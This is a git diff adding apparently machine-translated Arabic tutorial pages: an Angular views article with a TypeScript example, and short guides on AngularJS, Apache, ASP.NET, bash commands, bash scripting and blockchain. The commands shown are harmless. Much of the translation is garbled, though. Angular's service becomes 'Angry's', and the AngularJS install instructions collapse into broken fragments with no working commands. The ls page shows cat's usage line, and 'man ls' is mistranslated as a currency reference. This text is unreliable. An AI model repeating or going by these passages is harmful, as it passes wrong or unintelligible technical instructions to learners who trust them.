+Assume AnotherComponent و ExampleComponent كلاهما يتم التصريح تحت نفس الوحدة النمطية. AnotherComponent هو مكون فئة بسيط إضافتها بشكل حيوي إلى طريقة عرض ExampleComponent. ExampleComponent في `entryComponents` يجب أن يحتوي على بيانات التعريف AnotherComponent ل [إلباس الحذاء](https://angular.io/guide/bootstrapping) .
+
+بينما يكون ExampleComponent جزءًا من القالب ، يبقى AnotherComponent منفصلة. بشكل حيوي يتم تقديم في القالب من ExampleComponent.
+
+هناك نوعان من حاويات العرض الحالية: `<app-example></app-example>` و `<ng-container></ng-container>` . سيتم إدراج عرض المضيف لهذا المثال في `ng-container` .
+
+ربط `AfterViewInit` دورة حياة بعد إكمال الاستعلامات `@ViewChild` . باستخدام _المتغير المرجعي للقالب_ `#container` ، تشير `ng-container` `@ViewChild` إلى `ng-container` كـ `ctr` .
+
+`ViewContainerRef` هو نوع المرجع لحاويات العرض (طرق العرض). يشير `ViewContainerRef` إلى طريقة عرض تدعم عملية تثبيت طرق العرض الأخرى. يحتوي `ViewContainerRef` على المزيد من الطرق لإدارة طرق العرض المتضمنة الخاصة به.
+
+من خلال حقن التبعية ، يقوم المُنشئ بتأسيس مثيل من خدمة Angry's `ComponentFactoryResolver` . هذه الخدمة استخراج الدالة مصنع (مخطط الرأي المضيف) من AnotherComponent.
+
+تتطلب الوسيطة الفردية لـ `createComponent` وجود مصنع. و `createComponent` تستمد وظيفة من `ViewContainerRef` . فإنه instantiates AnotherComponent تحت عرض مضيف مشتقة من مصنع للمكون.
+
+ثم يدرج عرض المضيف في حاوية العرض. `<ng-component></ng-component>` المكون داخل حاوية العرض. وقد تعلق بها وجهة نظر المضيف المذكورة آنفا. `ng-component` هو اتصال وجهة نظر المضيف مع DOM.
+
+هناك طرق أخرى لإنشاء عرض مضيف ديناميكيًا من أحد المكونات. طرق أخرى غالبا ما [تركز على التحسين](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866) .
+
+يحتفظ `ViewContainerRef` بواجهة برمجة تطبيقات قوية. يمكنه إدارة أي عدد من المشاهدات إما مضيفًا أو مضمنًا في طريقة العرض. تتضمن واجهة برمجة التطبيقات عمليات عرض مثل الإدراج والنقل والحذف. هذا يتيح لك التعامل مع نموذج عرض DOM من خلال Angular. هذه أفضل الممارسات بحيث يتطابق Angular و DOM مع بعضها البعض.
+
+#### وجهات النظر المضمنة
+
+ملاحظة: يتم إرفاق الملفات الشخصية المضمنة مع طرق العرض الأخرى دون أي مدخلات مضافة. يتم إرفاق طرق عرض المضيف مع عنصر DOM مع بيانات الإدخال من عرض المضيف الخاص بها ، واصفاً إياها كمكون.
+
+التوجيهات الهيكلية إنشاء [`ng-template` يحيط قطعة من محتوى HTML](https://angular.io/guide/structural-directives#the-asterisk--prefix) . يحتوي عنصر المضيف الخاص بالتوجيه على حاوية عرض مرفقة. هذا يجعله بحيث يمكن عرض المحتوى بطريقة مشروطة في التخطيط المقصود.
+
+يحتفظ `ng-template` بنقاط العرض المضمنة التي تمثل كل عنصر داخل itsHTML الداخلي. `ng-template` ليس بأي حال عنصر DOM. وتعلق نفسها بها. تحدد العلامات امتداد العرض المدمج.
+
+#### استمرار وجهات النظر المضمنة
+
+يتطلب إنشاء عرض مضمن في وقت لاحق عدم وجود موارد خارجية خارجة عن مرجعه الخاص. يمكن الاستعلام `@ViewChild` جلب ذلك.
+
+باستخدام مرجع القالب ، يؤدي استدعاء `createEmbeddedView` منه إلى الخدعة. يصبح innerHTML للمرجع مثيل العرض المضمن الخاص به.
+
+في المثال التالي ، `<ng-container></ng-container>` هي حاوية مشاهدة. يتم التعليق على `ng-container` ng- أثناء التحويل البرمجي تمامًا مثل `ng-template` . وبالتالي يوفر منفذًا لإدخال العرض المضمّن مع الاحتفاظ بـ DOM gean.
+
+يدرج نموذج العرض المضمن في موقع تخطيط `ng-container` . لا يحتوي هذا العرض المدرج حديثًا على أي عرض إضافي للتضمين إلى جانب حاوية العرض. تذكر كيف يختلف هذا عن وجهات نظر المضيف (يتم إرفاق طرق عرض المضيف مع غلاف عنصر `ng-component` ).
+
+ ``import { Component, AfterViewInit, ViewChild, 
+ ViewContainerRef, TemplateRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> <!-- embed view here --> 
+  <h3>End of Application</h3> 
+ 
+  <ng-template #template> 
+    <h1>Template Content</h1> 
+    <h3>Dynamically Generated!</h3> 
+  </ng-template> 
+  ` 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("template", { read: TemplateRef }) tpl: TemplateRef<any>; 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor() { } 
+ 
+  ngAfterViewInit() { 
+    const view =  this.tpl.createEmbeddedView(null); 
+    this.ctr.insert(view); 
+  } 
+ } 
+`` 
+
+`@ViewChild` الاستفسارات _للقالب إشارة متغير_ `#template` . يوفر هذا مرجع قالب من نوع `TemplateRef` . يحتفظ `TemplateRef` الدالة `createEmbeddedView` . فإنه instantiates القالب كمشاهدة مضمّنة.
+
+وسيطة واحدة من `createEmbeddedView` هي للسياق. إذا أردت تمرير بيانات وصفية إضافية ، فيمكنك القيام بذلك هنا ككائن. يجب أن تتطابق الحقول مع سمات `ng-template` ( `let-[context-field-key-name]=“value”` ). لا يشير التمرير `null` إلى أي بيانات تعريف إضافية ضرورية.
+
+يوفر الاستعلام الثاني `@ViewChild` إشارة إلى `ng-container` مثل `ViewContainerRef` . يتم إرفاق الملفات الشخصية المضمنة فقط مع طرق العرض الأخرى ، وليس DOM. يشير `ViewContainerRef` إلى طريقة العرض التي تظهر في طريقة العرض المضمنة.
+
+قد يتم أيضًا إدراج عرض مضمن في عرض مكون `<app-example></app-example>` . يضع هذا الأسلوب العرض في نهاية عرض ExampleComponent. ومع ذلك ، في هذا المثال ، نريد أن يظهر المحتوى في منتصف المكان الذي توجد فيه `ng-container` .
+
+و `ViewContainerRef` `insert` _إدراج_ وظيفة وجهة نظر جزءا لا يتجزأ في `ng-container` . يعرض محتوى المشاهدة عمليات التقريب في الموقع المقصود مباشرةً في وسط عرض ExampleComponent.
+
+#### استنتاج
+
+لا ينصح بمعالجة DOM مع أساليب محددة للمنصة. يؤدي إنشاء مجموعة ضيقة من المشاهدات وإدارتها إلى احتفاظ Angular و DOM على الصفحة نفسها. تحديث وجهات النظر بإعلام Angular من الحالة الحالية لـ DOM. كما تنتقل التحديثات إلى المشاهدات إلى ما يعرضه DOM.
+
+يوفر Angular واجهة برمجة تطبيقات مرنة للتفاعل مع العرض. تطوير تطبيقات مستقلة منصة ممكن بفضل هذا المستوى من التجريد. بالطبع ، لا يزال الإغراء بالعودة إلى الاستراتيجيات المعتمدة على المنصة قائماً. ما لم يكن لديك سبب وجيه للغاية ، حاول الالتزام بالآراء التي يوفرها API Angular. سيؤدي ذلك إلى نتائج متوقعة عبر جميع الأنظمة الأساسية.
+
+تحقق من الموارد أدناه أيضا! هذه المادة مجرد خدش السطح. تحتوي المشاهدات على عدد كبير من حالات الاستخدام الأخرى شديدة الاتساع لمقالة واحدة.
+
+## مصادر
+
+*   [AngularInDepth.com. "عرض مكون ، عرض المضيف ، عرض مضمّن" ، # 40423772. 11 تموز (يوليو) 2017. "ما هو الفرق بين العرض ، وعرض المضيف ، والمشهد المضمّن"](https://stackoverflow.com/questions/40423772/what-is-the-difference-between-a-view-a-host-view-and-an-embedded-view)
+    
+*   [فريق الزاوي. "التوجيهات الهيكلية". _جوجل_ . تم الوصول إليها في 31 مايو 2018](https://angular.io/guide/structural-directives)
+    
+*   [كوريتسكي ، مكسيم. "استكشاف تقنيات معالجة DOM للزاوية باستخدام ViewContainerRef". _الزاوي في العمق_ ، 4 مارس 2017. تم الوصول في 30 مايو 2018.](https://blog.angularindepth.com/exploring-angular-dom-abstractions-80b3ebcfc02)
+    
+*   [كوريتسكي ، مكسيم. "تنفيذ سيناريوهات التلاعب المتقدمة في DOM". _Youtube_ ، uploaded by ng-conf، 19 Apr. 2018. Accessed 30 May 2018](https://www.youtube.com/watch?v=vz9cNCkaPsY)
+    
+*   [كوريتسكي ، مكسيم. "العمل مع DOM في Angular: عواقب غير متوقعة وتقنيات التحسين". _Angular In Depth_ ، 3 أيار 2017. تم الوصول إليه في 31 أيار 2018](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866)
+    
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide/pipes)
+    
+*   [الزاوي في العمق](https://blog.angularindepth.com)
+    
+*   [ViewContainerRef](https://angular.io/api/core/ViewContainerRef)
+    
+*   [TemplateRef](https://angular.io/api/core/TemplateRef)
+    
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+    
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angularjs/index.md b/client/src/guide/arabic/angularjs/index.md
new file mode 100644
index 0000000000..d30886db71
--- /dev/null
+++ b/client/src/guide/arabic/angularjs/index.md
@@ -0,0 +1,30 @@
+---
+title: AngularJS
+localeTitle: AngularJS
+---
+## AngularJS
+
+AngularJS (الإصدارات 1.x) هو إطار JavaScript مفتوح المصدر. AngularJS يمتد HTML لتطوير واجهة الأمامية الغنية والقوية. يقلل من الاستخدام المتكرر للشفرة HTML. يمكن تجنب هذا التكرار من خلال استخدام التوجيهات التي توفرها AngularJS التي توفرها الكثير من الوقت والجهد.
+
+**التثبيت** :
+
+الآلية:
+
+\`\` \`قذيفة npm تثبيت الزاوي
+
+ `HTML: 
+` 
+
+أتش تي أم أل
+
+ `bower: 
+` 
+
+الصدف باور تثبيت زاوية
+
+ `HTML: 
+` 
+
+أتش تي أم أل
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/apache/index.md b/client/src/guide/arabic/apache/index.md
new file mode 100644
index 0000000000..a76bbda3b2
--- /dev/null
+++ b/client/src/guide/arabic/apache/index.md
@@ -0,0 +1,7 @@
+---
+title: Apache
+localeTitle: أباتشي
+---
+## أباتشي
+
+يعد خادم Apache HTTP ، المعروف باسم Apache ، خادم ويب مجانيًا ومفتوح المصدر عبر الويب ، تم إصداره بموجب شروط [Apache License 2.0](https://en.wikipedia.org/wiki/Apache_License) . تم تطوير Apache وصيانته بواسطة مجتمع مفتوح من المطورين تحت رعاية مؤسسة Apache Software Foundation.
\ No newline at end of file
diff --git a/client/src/guide/arabic/aspnet/index.md b/client/src/guide/arabic/aspnet/index.md
new file mode 100644
index 0000000000..1eede21d80
--- /dev/null
+++ b/client/src/guide/arabic/aspnet/index.md
@@ -0,0 +1,17 @@
+---
+title: ASPNET
+localeTitle: ASPNET
+---
+## ASP.NET
+
+# نظرة عامة
+
+ASP.Net هي عبارة عن منصة لتطوير الويب مقدمة من Microsoft. يتم استخدامه لإنشاء تطبيقات ومواقع ويب تستند إلى الويب باستخدام HTML و CSS وجافا سكريبت كواجهة أمامية. يمكن استخدام لغات البرمجة من جانب الخادم مثل C # و VB .NET لرمز النهاية الخلفية.
+
+تقدم ASP.NET أطر عمل مختلفة لإنشاء تطبيقات الويب: على سبيل المثال نماذج الويب و ASP.NET MVC.
+
+#### معلومات اكثر:
+
+*   [ASP .NET التعليمية](https://www.tutorialspoint.com/asp.net/)
+*   [موقع ASP](https://www.asp.net/)
+*   [ASP .NET وثائق مايكروسوفت](https://docs.microsoft.com/en-us/aspnet/#pivot=aspnet/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-cat/index.md b/client/src/guide/arabic/bash/bash-cat/index.md
new file mode 100644
index 0000000000..14c70931dc
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-cat/index.md
@@ -0,0 +1,36 @@
+---
+title: Bash Cat
+localeTitle: باش كات
+---
## باش كات
+
+يعد Cat أحد الأوامر الأكثر استخدامًا في أنظمة تشغيل Unix.
+
+يستخدم القط لقراءة ملف بالتسلسل وطباعته إلى الإخراج القياسي. يشتق الاسم من وظيفتها إلى ملفات enate يخدع **القط.**
+
+### استعمال
+
+ `cat [options] [file_names] 
+` 
+
+معظم الخيارات المستخدمة:
+
+*   `-b` ، عدد خطوط الإخراج غير فارغة
+*   `-n` ، رقم جميع خطوط الإخراج
+*   `-s` ، الضغط على عدة أسطر فارغة مجاورة
+*   `-v` ، عرض أحرف غير مطبوعة ، باستثناء علامات التبويب وحرف نهاية السطر
+
+### مثال
+
+قم بطباعة محتوى ملف file.txt:
+
+ `cat file.txt 
+` 
+
+تسلسل محتوى الملفين وعرض النتيجة في المحطة الطرفية:
+
+ `cat file1.txt file2.txt 
+` 
+
+#### معلومات اكثر:
+
+*   ويكيبيديا: https://en.wikipedia.org/wiki/Cat\_(Unix)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-cd/index.md b/client/src/guide/arabic/bash/bash-cd/index.md
new file mode 100644
index 0000000000..88abdf199d
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-cd/index.md
@@ -0,0 +1,18 @@
+---
+title: Bash cd
+localeTitle: باش cd
+---
+## أمر Bash: cd
+
+**تغيير الدليل** إلى المسار المحدد ، على سبيل المثال `cd projects` .
+
+هناك عدد قليل من الحجج المفيدة لمساعدة هذا:
+
+*   `.` يشير إلى الدليل الحالي ، مثل `./projects`
+*   `..` يمكن أن تستخدم لنقل مجلد واحد ، واستخدام `cd ..` ، ويمكن الجمع بين رفع مستويات متعددة `../../my_folder`
+*   `/` هو جذر النظام الخاص بك للوصول إلى المجلدات الأساسية ، مثل `system` `users` ، إلخ.
+*   `~` هو الدليل الرئيسي ، وعادة ما يكون المسار `/users/username` . انتقل مرة أخرى إلى مجلدات تمت الإشارة إليها بالنسبة إلى هذا المسار من خلال تضمينها في بداية المسار ، على سبيل المثال `~/projects` .
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Cd_(command))
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-head/index.md b/client/src/guide/arabic/bash/bash-head/index.md
new file mode 100644
index 0000000000..79ae374354
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-head/index.md
@@ -0,0 +1,41 @@
+---
+title: Bash Head
+localeTitle: باش هيد
+---
+## باش الأمر: الرأس
+
+يستخدم الرأس لطباعة أول عشرة سطور (افتراضيا) أو أي مبلغ آخر محدد من الملف أو الملفات. يستخدم القط لقراءة ملف بالتسلسل وطباعته إلى الإخراج القياسي. أي يطبع محتويات الملف بأكمله. - هذا ليس ضروريًا دائمًا ، ربما تريد فقط التحقق من محتويات الملف لمعرفة ما إذا كان صحيحًا ، أو التحقق من أنه ليس فارغًا في الواقع. يتيح لك الأمر head عرض أول سطر N من الملف.
+
+إذا تم استدعاء أكثر من ملف في حين يتم عرض الأسطر العشرة الأولى من كل ملف ، ما لم يتم تحديد عدد محدد من الخطوط. يعد اختيار عرض رأس الملف اختياريًا باستخدام الخيار أدناه
+
+### استعمال
+
+ `head [options] [file_name(s)] 
+` 
+
+معظم الخيارات المستخدمة:
+
+*   `-n N` ، طباعة أول N سطر من الملف (الملفات)
+*   `-q` ، لا تطبع رؤوس الملفات
+*   `-v` ، يطبع رؤوس الملفات دائمًا
+
+### مثال
+
+ `head file.txt 
+` 
+
+يطبع في نهاية الأسطر العشرة الأولى من file.txt (افتراضي)
+
+ `head -n 7 file.txt 
+` 
+
+يطبع في الأسطر السبعة الأولى من file.txt
+
+ `head -q -n 5 file1.txt file2.txt 
+` 
+
+قم بطباعة أول 5 أسطر من file1.txt ، ثم اتبع أول 5 أسطر من file2.txt
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Head_(Unix))
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-ls/index.md b/client/src/guide/arabic/bash/bash-ls/index.md
new file mode 100644
index 0000000000..b76b5387c6
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-ls/index.md
@@ -0,0 +1,33 @@
+---
+title: Bash ls
+localeTitle: باش ل
+---
## باش ل
+
+`ls` هو أمر في أنظمة التشغيل المشابهة لـ Unix لسرد محتويات دليل ، على سبيل المثال أسماء المجلدات والملفات.
+
+### استعمال
+
+ `cat [options] [file_names] 
+` 
+
+معظم الخيارات المستخدمة:
+
+*   `-a` جميع الملفات والمجلدات ، بما في ذلك الملفات المخفية والبدء بها `.`
+*   `-l` ، قائمة في شكل طويل
+*   `-G` ، تمكين الإخراج الملون.
+
+### مثال:
+
+قائمة الملفات في `freeCodeCamp/guide/`
+
+ `ls                                                                ⚬ master 
+ CODE_OF_CONDUCT.md bin                package.json       utils 
+ CONTRIBUTING.md    gatsby-browser.js  plugins            yarn.lock 
+ LICENSE.md         gatsby-config.js   src 
+ README.md          gatsby-node.js     static 
+ assets             gatsby-ssr.js      translations 
+` 
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Ls)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-man/index.md b/client/src/guide/arabic/bash/bash-man/index.md
new file mode 100644
index 0000000000..f2ec510634
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-man/index.md
@@ -0,0 +1,29 @@
+---
+title: Bash Man
+localeTitle: باش مان
+---
## رجل
+
+Man ، اختصار **man man** ، هو أمر bash يستخدم لعرض أدلة مرجعية على الإنترنت للأمر المحدد.
+
+يقوم الإنسان بعرض صفحة رجل reletive (مختصر **لصفحة** **man** ual) للأمر المحدد.
+
+### استعمال
+
+ `man [options] [command] 
+` 
+
+معظم الخيارات المستخدمة:
+
+*   `-f` ، اطبع وصفًا قصيرًا للأمر المحدد
+*   `-a` ، على التوالي ، جميع صفحات المقدمة مقدمة المتاحة في الدليل
+
+### مثال
+
+عرض صفحة رجل ليرة سورية:
+
+ `man ls 
+` 
+
+#### معلومات اكثر:
+
+*   ويكيبيديا: https://en.wikipedia.org/wiki/Man\_page
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/bash-mv/index.md b/client/src/guide/arabic/bash/bash-mv/index.md
new file mode 100644
index 0000000000..6f7ee0d336
--- /dev/null
+++ b/client/src/guide/arabic/bash/bash-mv/index.md
@@ -0,0 +1,22 @@
+---
+title: Bash mv
+localeTitle: باش ام فى
+---
+## أمر Bash: mv
+
+**ينقل الملفات والمجلدات.**
+
+ `mv source target 
+ mv source ... directory 
+` 
+
+الوسيطة الأولى هي الملف الذي تريد نقله ، والثاني هو الموقع الذي تريد نقله إليه.
+
+الخيارات الشائعة الاستخدام:
+
+*   `-f` لفرض نقلها والكتابة فوق الملفات دون التحقق مع المستخدم.
+*   `-i` لتأكيد التأكيد قبل الكتابة فوق الملفات.
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Mv)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bash/index.md b/client/src/guide/arabic/bash/index.md
new file mode 100644
index 0000000000..ede412e832
--- /dev/null
+++ b/client/src/guide/arabic/bash/index.md
@@ -0,0 +1,62 @@
+---
+title: Bash
+localeTitle: سحق
+---
+## ما هو باش؟
+
+Bash (باختصار لـ Bourne Again SHell) هي shell Unix ، ومترجم لغة أوامر. القشرة هي مجرد معالج ماكرو ينفذ الأوامر. إنه غلاف المستخدم الأكثر استخدامًا بشكل افتراضي لمعظم توزيعات Linux ، وخلف لـ shell Korn (ksh) و C shell (csh).
+
+يمكن القيام بالعديد من الأشياء التي يمكن القيام بها بنظام التشغيل Linux عبر سطر الأوامر. بعض الأمثلة ...
+
+*   تحرير الملفات
+*   ضبط حجم نظام التشغيل
+*   جلب صفحات الويب من الإنترنت
+*   أتمتة العمل الذي تقوم به كل يوم
+
+يمكنك قراءة المزيد عن bash [هنا](https://www.gnu.org/software/bash/) ، عبر [وثائق GNU](https://www.gnu.org/software/bash/manual/html_node/index.html#SEC_Contents) ، وعبر [دليل tldp](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc10) .
+
+## استخدام bash في سطر الأوامر (Linux ، OS X)
+
+يمكنك البدء في استخدام bash في معظم أنظمة التشغيل Linux و OS X من خلال فتح جهاز طرفي. دعونا نعتبر مثالًا بسيطًا في عالم الترحيب. افتح الطرفية الخاصة بك واكتب السطر التالي (كل شيء بعد علامة $):
+
+ `zach@marigold:~$ echo "Hello world!" 
+ Hello world! 
+` 
+
+كما ترى ، استخدمنا أمر echo لطباعة سلسلة "Hello world!" إلى المحطة.
+
+## كتابة برنامج نصي bash
+
+يمكنك أيضًا وضع كل أوامر bash في ملف .sh وتشغيلها من سطر الأوامر. لنفترض أنه لديك برنامج نصي bash يحتوي على المحتويات التالية:
+
+ `#!/bin/bash 
+ echo "Hello world!" 
+` 
+
+تجدر الإشارة إلى أن السطر الأول من النص البرمجي يبدأ بـ `#!` . إنه توجيه خاص يعامله يونكس بشكل مختلف.
+
+#### لماذا استخدمنا #! / bin / bash في بداية ملف البرنامج النصي؟
+
+هذا لأنه هو اتفاقية للسماح للقذيفة التفاعلية معرفة نوع المترجم للتشغيل للبرنامج التالي. يخبر السطر الأول يونكس أن الملف يتم تنفيذه بواسطة / bin / bash. هذا هو الموقع القياسي لقذيفة بورن على كل نظام يونكس. تؤدي إضافة #! / bin / bash باعتبارها السطر الأول من النص البرمجي ، إلى إخبار نظام التشغيل باستدعاء shell المحدد لتنفيذ الأوامر التي تتبع في البرنامج النصي. `#!` غالبًا ما يشار إليه على أنه "فرقعة" ، أو "ضرب" أو "فرقعة". على الرغم من أنه يتم تنفيذه فقط إذا قمت بتشغيل البرنامج النصي الخاص بك كملف قابل للتنفيذ. على سبيل المثال ، عندما تكتب `./scriptname.extension` ، ستنظر إلى السطر العلوي لاكتشاف المترجم ، بينما يتم تشغيل البرنامج النصي باسم `bash scriptname.sh` ، يتم تجاهل السطر الأول.
+
+ثم يمكنك تشغيل البرنامج النصي مثل: لجعل الملف القابل للتنفيذ يجب عليك استدعاء هذا الأمر تحت sudo chmod + x "filename".
+
+ `zach@marigold:~$ ./myBashScript.sh 
+ Hello world! 
+` 
+
+البرنامج النصي يحتوي على سطرين فقط. يشير الأول إلى ما الذي يجب أن يستخدمه مترجم لتشغيل الملف (في هذه الحالة ، bash). السطر الثاني هو الأمر الذي نريد استخدامه ، صدى ، متبوعًا بما نريد طباعته وهو "Hello World".
+
+في بعض الأحيان لن يتم تنفيذ النص البرمجي ، وسيعرض الأمر أعلاه خطأً. يرجع ذلك إلى الأذونات المحددة على الملف. لتجنب هذا الاستخدام:
+
+ `zach@marigold:~$ chmod u+x myBashScript.sh 
+` 
+
+\` ثم قم بتنفيذ البرنامج النصي.
+
+### معلومات اكثر:
+
+*   ويكيبيديا: https://en.wikipedia.org/wiki/Bash _(_ غلاف _يونكس_ )
+*   tldp.org دليل باش: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc2
+*   دليل bash gnu.org: https://www.gnu.org/software/bash/manual/html _node / index.html # SEC_ المحتويات
+*   برنامج نصي البرمجة شل للبدء: https://www.shellscript.sh/
\ No newline at end of file
diff --git a/client/src/guide/arabic/blockchain/cryptocurrency/index.md b/client/src/guide/arabic/blockchain/cryptocurrency/index.md
new file mode 100644
index 0000000000..3edb43841f
--- /dev/null
+++ b/client/src/guide/arabic/blockchain/cryptocurrency/index.md
@@ -0,0 +1,22 @@
+---
+title: Cryptocurrency
+localeTitle: عملة معماة
+---
+## عملة معماة
+
+> الإعلان عن الإصدار الأول من Bitcoin ، وهو نظام نقدي إلكتروني جديد يستخدم شبكة نظير إلى نظير لمنع الإنفاق المزدوج. انها لا مركزية بالكامل بدون خادم أو سلطة مركزية.
+> 
+> \- ساتوشي ناكاموتو ، 9 يناير 2009 ، يعلن عن Bitcoin على SourceForge.
+
+Cryptocurrency عبارة عن مجموعة فرعية من العملات الرقمية ، والتي تعمل كوسيط للتبادل بين طرفين. وهي تعرف باسم العملة المشفرة بسبب استخدام التشفير في تأمين معاملاتها. هناك العديد من cryptocurrencies بما في ذلك LiteCoin ، داش ، Ethereum ، Ripple ، و Bitcoin الأكثر شعبية حاليا. إنها الطريقة المثلى لإجراء معاملات غير موثوقة لأنها لا تتضمن أي طرف ثالث.
+
+على عكس العملة العادية ، يمكن تبادل العملة المكررة ككسور. على سبيل المثال ، يمكن أن تصل المعاملات إلى 0.00007 Btc أو حتى أقل.
+
+إذا كنت ترغب في كسب bitcoins من خلال التعدين ، يمكن أن يتم ذلك من خلال حل مشاكل إثبات العمل الرياضي التي تحقق من صحة المعاملات. يستخدم Blockchain مفهوم دالة التجزئة المشفرة غير القابلة للتجزئة والتي تتكون من تخمين عدد عشوائي (عادة ما يكون أقل من قيمة معينة) لحل مشكلة التحقق من صحة المعاملات. سوف تحتاج إلى آلات ذات قدرة معالجة عالية لتتمكن من حل هذه المشاكل (على سبيل المثال Fast-Hash One أو CoinTerra TerraMiner IV).
+
+#### معلومات اكثر:
+
+[عملة معماة](https://en.wikipedia.org/wiki/Cryptocurrency)  
+[في نهاية المطاف دليل على Cryptocurrency](https://blockgeeks.com/guides/what-is-cryptocurrency)
+
+[بيتكوين](https://en.wikipedia.org/wiki/Bitcoin)
\ No newline at end of file
diff --git a/client/src/guide/arabic/blockchain/features/index.md b/client/src/guide/arabic/blockchain/features/index.md
new file mode 100644
index 0000000000..c632cb5de6
--- /dev/null
+++ b/client/src/guide/arabic/blockchain/features/index.md
@@ -0,0 +1,59 @@
+---
+  title : Features of BlockTech
+localeTitle: ميزات BlockTech
+---
+## ملامح تقنية Blockchain
+
+يتم استخدام Blockchain دائمًا بدلاً من Bitcoin و cryptocurrency. ومع ذلك ، هناك العديد من الأماكن الأخرى التي يمكن استخدام هذه التكنولوجيا. ونحن نبدأ بالكاد في خدش سطحه. مع كل هذه الضجة حولها ، نعرف أن تقنية Blockchain (BlockTech) ستكون ضخمة. لكن ما الذي يجعلها فريدة من نوعها؟
+
+في هذه المقالة ، سنقوم باستكشاف الميزات المميزة الرئيسية لـ BlockTech.
+
+#### _\* النظام اللامركزي_
+
+> Blockchain هو تكنولوجيا اللامركزية ، حسب التصميم.
+
+عندما يتم التحكم بشيء من قبل سلطة مركزية ، حيث تقع سلطة اتخاذ القرار في يد قمة الإدارة ، يطلق على هذا النظام نظام مركزي. البنوك ، على سبيل المثال ، هي نظام مركزي ، حيث تقع على عاتق الحاكم مسؤولية اتخاذ القرارات.
+
+على العكس ، عندما تكون السلطة في أيدي الناس أو المستخدمين ، يُقال إن هذا النظام هو نظام لامركزي. شبكة الند للند ، Torrent ، على سبيل المثال هو نظام لامركزي ، حيث يكون لدى المستخدم التحكم الكامل.
+
+![الأنظمة اللامركزية](https://raw.githubusercontent.com/Vagisha16/Hw3/master/blockchain_article_pic.jpg)
+
+#### _\* دفتر الأستاذ الموزع_
+
+> تستخدم Blockchains تقنية Ledger الموزعة (DLT) لتخزين البيانات والوصول إليها.
+
+عندما يتم تخزين شيء ما على "دفتر الأستاذ الموزع" ، يتم إجراء نسخ متعددة منه عبر الشبكة في نفس الوقت. بخلاف قواعد البيانات التقليدية ، لا يحتوي دفتر الأستاذ الموزع على قاعدة بيانات أو وظائف إدارية مركزية.
+
+![دفتر الأستاذ الموزع](https://qph.fs.quoracdn.net/main-qimg-2e24c4949a63eefa9bbab1773e185cdd)
+
+عند تطبيقها في نظام لامركزي مثل Blockchain ، فإن كل مستخدم لديه نسخة من دفتر الأستاذ ويشارك في التحقق من المعاملة. هذا يعطي Blockchain خاصية Immutability ويضمن الأمان. منذ ذلك الحين ، يتم توزيع البيانات ، لا توجد نسخة مركزية من البيانات للمتسللين إلى الفساد. البيانات والسجلات عامة ويمكن التحقق منها بسهولة. هذا أيضا يزيل نقطة واحدة من الفشل.
+
+#### _\* تأمين النظام البيئي (تجزئة التشفير)_
+
+يستخدم BlockTech مفاهيم مثل إثبات العمل وتشفير تجزئة لضمان الأمان والثبات. يتضمن إثبات العمل عدة أشخاص في جميع أنحاء العالم باستخدام خوارزميات حسابية لمحاولة العثور على قيمة تجزئة مناسبة تفي بشرط محدد مسبقًا فيما يتعلق بقيمة التجزئة.
+
+![تجزئة](https://raw.githubusercontent.com/Vagisha16/Hw3/master/Hash.png)
+
+![دليل العمل](https://qph.fs.quoracdn.net/main-qimg-098a67b40e4d0f625cf2cbbda2c95df0)
+
+#### _\* التعدين_
+
+Torrent عبارة عن شبكة لامركزية من نظير إلى نظير تُستخدم لمشاركة الملفات. يستخدم BlockTech تكنولوجيا مشابهة. ما يميز المستخدمين هو أن النظام ، في Torrent ، يعتمد على رمز الشرف للمستخدمين لزرع الملفات. بينما ، في blockchain ، يكون للمستخدمين المتورطين في المعاملة حوافز اقتصادية. ويطلق على هؤلاء المستخدمين "عمال المناجم". تنفق شركات التعدين مواردها الحاسوبية لحل تجزئات التشفير وتضمن ثبات وموثوقية المعاملة. كل حل ناجح (فك التشفير) يضمن بعض المنفعة الاقتصادية.
+
+![تعدين](https://raw.githubusercontent.com/Vagisha16/Hw3/master/5f6609014470f4b0122de37eb09dbfc7.jpg)
+
+#### _\* الزمني وختم الوقت_
+
+تعتبر Blockchains ، من الناحية المثالية ، مجرد قوائم مرتبطة متطورة للغاية حيث يكون كل كتلة مستودعًا يخزن المعلومات المتعلقة بصفقة ما ويربط أيضًا الكتلة السابقة في نفس المعاملة. يتم ترتيب هذه الكتل بترتيب ويتم ختمها في الوقت أثناء الإنشاء لضمان وجود سجل عادل.
+
+#### _\* بناء توافق الآراء_
+
